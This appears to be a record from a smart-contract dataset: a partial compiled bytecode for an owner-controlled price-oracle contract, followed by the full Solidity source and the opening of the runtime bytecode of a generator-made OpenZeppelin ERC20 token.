c8565b9050808585815181106107cc576107cb612145565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508580610811906122e3565b96505050610821565b5050610836565b5050808061082e906122e3565b915050610697565b5060008160405160200161084a9190611ffe565b604051602081830303815290604052905082604082015260008180602001905181019061087791906124d2565b905080945050505050919050565b600061088f611937565b73ffffffffffffffffffffffffffffffffffffffff16639c7f117f836040518263ffffffff1660e01b81526004016108c7919061202f565b602060405180830381865afa1580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610908919061251b565b9050919050565b600061091a826118d9565b1561092f576109288261182a565b9050610a9e565b600061093a8361129e565b90506000610947846117a0565b905060006109536119d8565b73ffffffffffffffffffffffffffffffffffffffff166302d454576040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c1919061251b565b905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190612581565b60ff1690506000816012610a4891906125ae565b90506000601282610a5991906125e2565b600a610a65919061276b565b82600a610a72919061276b565b8787610a7e91906127b6565b610a8891906127b6565b610a92919061283f565b90508096505050505050505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b28906128cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b7f611a79565b73ffffffffffffffffffffffffffffffffffffffff1663a77576ef846040518263ffffffff1660e01b8152600401610bb7919061202f565b61010060405180830381865afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf9919061299e565b9050610c0481611b11565b915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb906128cd565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e14906128cd565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610eae83610885565b90506000610ebb82610643565b90506000805b8251811015610efa576000610ed68583610f06565b90508083610ee491906125e2565b9250508080610ef2906122e3565b915050610ec1565b50809350505050919050565b60008083905060008173ffffffffffffffffffffffffffffffffffffffff1663c6610657856040518263ffffffff1660e01b8152600401610f479190612059565b602060405180830381865afa158015610f64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f88919061251b565b905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190612581565b905060006110076119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306846040518263ffffffff1660e01b815260040161103f919061202f565b602060405180830381865afa15801561105c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108091906129e1565b9050600082600a6110919190612a0e565b828673ffffffffffffffffffffffffffffffffffffffff16634903b0d18a6040518263ffffffff1660e01b81526004016110cb9190612059565b602060405180830381865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c91906129e1565b61111691906127b6565b611120919061283f565b9050809550505050505092915050565b60008060001b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b815260040161118f90612aa5565b602060405180830381865afa1580156111ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d0919061251b565b73ffffffffffffffffffffffffffffffffffffffff1663317b39a7846040518263ffffffff1660e01b8152600401611208919061202f565b602060405180830381865afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112499190612afb565b14159050919050565b60008061125e83610885565b905060008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141590508092505050919050565b6000806112aa83610885565b905060006112b782610b74565b905060006112c36119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306836040518263ffffffff1660e01b81526004016112fb919061202f565b602060405180830381865afa158015611318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133c91906129e1565b9050809350505050919050565b600061135482611252565b15611369576113628261090f565b9050611599565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df91906129e1565b90506113e9611c98565b60005b60088110156114d1578373ffffffffffffffffffffffffffffffffffffffff1663c6610657826040518263ffffffff1660e01b815260040161142e9190612059565b602060405180830381865afa92505050801561146857506040513d601f19601f82011682018060405250810190611465919061251b565b60015b611471576114be565b8083836008811061148557611484612145565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050505b80806114c9906122e3565b9150506113ec565b5060006114dd82611b11565b905060006114e96119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306836040518263ffffffff1660e01b8152600401611521919061202f565b602060405180830381865afa15801561153e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156291906129e1565b9050600081141561157257600080fd5b670de0b6b3a7640000848261158791906127b6565b611591919061283f565b955050505050505b919050565b6000808273ffffffffffffffffffffffffffffffffffffffff1660006040516024016115ca9190612b6d565b6040516020818303038152906040527f68727653000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116549190612373565b600060405180830381855afa9150503d806000811461168f576040519150601f19603f3d011682016040523d82523d6000602084013e611694565b606091505b5050905080156116a857600191505061179b565b60008373ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f86fc88d3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117519190612373565b600060405180830381855afa9150503d806000811461178c576040519150601f19603f3d011682016040523d82523d6000602084013e611791565b606091505b5050905080925050505b919050565b60006117aa611a79565b73ffffffffffffffffffffffffffffffffffffffff1663c5b7074a836040518263ffffffff1660e01b81526004016117e2919061202f565b602060405180830381865afa1580156117ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182391906129e1565b9050919050565b60008061183683610ea2565b905060008373ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611885573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a991906129e1565b9050600081670de0b6b3a7640000846118c291906127b6565b6118cc919061283f565b9050809350505050919050565b6000806118e583610885565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461192c576119248161159e565b915050611932565b60009150505b919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b815260040161199290612bd4565b602060405180830381865afa1580156119af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d3919061251b565b905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b8152600401611a3390612c40565b602060405180830381865afa158015611a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a74919061251b565b905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a262904b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0c919061251b565b905090565b60008060005b6008811015611c57576000848260088110611b3557611b34612145565b5b60200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611b7e5750611b7d81611130565b5b15611b8c5780925050611c57565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611bc4578092505b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2d5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611c385750600782145b15611c435750611c57565b508080611c4f906122e3565b915050611b17565b5080915050919050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081525090565b604051806101000160405280600890602082028036833780820191505090505090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cfa82611ccf565b9050919050565b611d0a81611cef565b8114611d1557600080fd5b50565b600081359050611d2781611d01565b92915050565b600060208284031215611d4357611d42611cc5565b5b6000611d5184828501611d18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611d8f81611cef565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611dcf578082015181840152602081019050611db4565b83811115611dde576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e0082611d95565b611e0a8185611da0565b9350611e1a818560208601611db1565b611e2381611de4565b840191505092915050565b6000819050919050565b611e4181611e2e565b82525050565b6000606083016000830151611e5f6000860182611d86565b5060208301518482036020860152611e778282611df5565b9150506040830151611e8c6040860182611e38565b508091505092915050565b6000611ea38383611e47565b905092915050565b6000602082019050919050565b6000611ec382611d5a565b611ecd8185611d65565b935083602082028501611edf85611d76565b8060005b85811015611f1b5784840389528151611efc8582611e97565b9450611f0783611eab565b925060208a01995050600181019050611ee3565b50829750879550505050505092915050565b60006020820190508181036000830152611f478184611eb8565b905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6000611f878383611d86565b60208301905092915050565b6000602082019050919050565b6000611fab82611f4f565b611fb58185611f5a565b9350611fc083611f6b565b8060005b83811015611ff1578151611fd88882611f7b565b9750611fe383611f93565b925050600181019050611fc4565b5085935050505092915050565b600060208201905081810360008301526120188184611fa0565b905092915050565b61202981611cef565b82525050565b60006020820190506120446000830184612020565b92915050565b61205381611e2e565b82525050565b600060208201905061206e600083018461204a565b92915050565b61207d81611e2e565b811461208857600080fd5b50565b60008135905061209a81612074565b92915050565b600080604083850312156120b7576120b6611cc5565b5b60006120c585828601611d18565b92505060206120d68582860161208b565b9150509250929050565b60008115159050919050565b6120f5816120e0565b82525050565b600060208201905061211060008301846120ec565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b61218782611de4565b810181811067ffffffffffffffff821117156121a6576121a5612116565b5b80604052505050565b60006121b9611cbb565b90506121c5828261217e565b919050565b600067ffffffffffffffff8211156121e5576121e4612116565b5b6121ee82611de4565b9050602081019050919050565b600061220e612209846121ca565b6121af565b90508281526020810184848401111561222a57612229612179565b5b612235848285611db1565b509392505050565b600082601f83011261225257612251612174565b5b81516122628482602086016121fb565b91505092915050565b60006020828403121561228157612280611cc5565b5b600082015167ffffffffffffffff81111561229f5761229e611cca565b5b6122ab8482850161223d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122ee82611e2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612321576123206122b4565b5b600182019050919050565b600081519050919050565b600081905092915050565b600061234d8261232c565b6123578185612337565b9350612367818560208601611db1565b80840191505092915050565b600061237f8284612342565b915081905092915050565b600061239582611ccf565b9050919050565b6123a58161238a565b81146123b057600080fd5b50565b6000815190506123c28161239c565b92915050565b6000602082840312156123de576123dd611cc5565b5b60006123ec848285016123b3565b91505092915050565b600067ffffffffffffffff8211156124105761240f612116565b5b602082029050602081019050919050565b600080fd5b60008151905061243581611d01565b92915050565b600061244e612449846123f5565b6121af565b9050808382526020820190506020840283018581111561247157612470612421565b5b835b8181101561249a57806124868882612426565b845260208401935050602081019050612473565b5050509392505050565b600082601f8301126124b9576124b8612174565b5b81516124c984826020860161243b565b91505092915050565b6000602082840312156124e8576124e7611cc5565b5b600082015167ffffffffffffffff81111561250657612505611cca565b5b612512848285016124a4565b91505092915050565b60006020828403121561253157612530611cc5565b5b600061253f84828501612426565b91505092915050565b600060ff82169050919050565b61255e81612548565b811461256957600080fd5b50565b60008151905061257b81612555565b92915050565b60006020828403121561259757612596611cc5565b5b60006125a58482850161256c565b91505092915050565b60006125b982611e2e565b91506125c483611e2e565b9250828210156125d7576125d66122b4565b5b828203905092915050565b60006125ed82611e2e565b91506125f883611e2e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561262d5761262c6122b4565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b600185111561268f5780860481111561266b5761266a6122b4565b5b600185161561267a5780820291505b808102905061268885612638565b945061264f565b94509492505050565b6000826126a85760019050612764565b816126b65760009050612764565b81600181146126cc57600281146126d657612705565b6001915050612764565b60ff8411156126e8576126e76122b4565b5b8360020a9150848211156126ff576126fe6122b4565b5b50612764565b5060208310610133831016604e8410600b841016171561273a5782820a905083811115612735576127346122b4565b5b612764565b6127478484846001612645565b9250905081840481111561275e5761275d6122b4565b5b81810290505b9392505050565b600061277682611e2e565b915061278183611e2e565b92506127ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612698565b905092915050565b60006127c182611e2e565b91506127cc83611e2e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612805576128046122b4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061284a82611e2e565b915061285583611e2e565b92508261286557612864612810565b5b828204905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128b7602083612870565b91506128c282612881565b602082019050919050565b600060208201905081810360008301526128e6816128aa565b9050919050565b600067ffffffffffffffff82111561290857612907612116565b5b602082029050919050565b6000612926612921846128ed565b6121af565b905080602084028301858111156129405761293f612421565b5b835b8181101561296957806129558882612426565b845260208401935050602081019050612942565b5050509392505050565b600082601f83011261298857612987612174565b5b6008612995848285612913565b91505092915050565b600061010082840312156129b5576129b4611cc5565b5b60006129c384828501612973565b91505092915050565b6000815190506129db81612074565b92915050565b6000602082840312156129f7576129f6611cc5565b5b6000612a05848285016129cc565b91505092915050565b6000612a1982611e2e565b9150612a2483612548565b9250612a517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612698565b905092915050565b7f43414c43554c4154494f4e535f434841494e4c494e4b00000000000000000000600082015250565b6000612a8f601683612870565b9150612a9a82612a59565b602082019050919050565b60006020820190508181036000830152612abe81612a82565b9050919050565b6000819050919050565b612ad881612ac5565b8114612ae357600080fd5b50565b600081519050612af581612acf565b92915050565b600060208284031215612b1157612b10611cc5565b5b6000612b1f84828501612ae6565b91505092915050565b6000819050919050565b6000819050919050565b6000612b57612b52612b4d84612b28565b612b32565b612548565b9050919050565b612b6781612b3c565b82525050565b6000602082019050612b826000830184612b5e565b92915050565b7f43555256455f52454749535452595f4f56455252494445530000000000000000600082015250565b6000612bbe601883612870565b9150612bc982612b88565b602082019050919050565b60006020820190508181036000830152612bed81612bb1565b9050919050565b7f4f5241434c450000000000000000000000000000000000000000000000000000600082015250565b6000612c2a600683612870565b9150612c3582612bf4565b602082019050919050565b60006020820190508181036000830152612c5981612c1d565b905091905056fea26469706673582212201577ca6bf3de5b9369cac871fd6471149442de72d55e493759a8d7b7d5df871464736f6c634300080b0033
[ 5, 12 ]
0xf1C320E49A5247DFd070689E00c86a0A77fC544b
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b9185906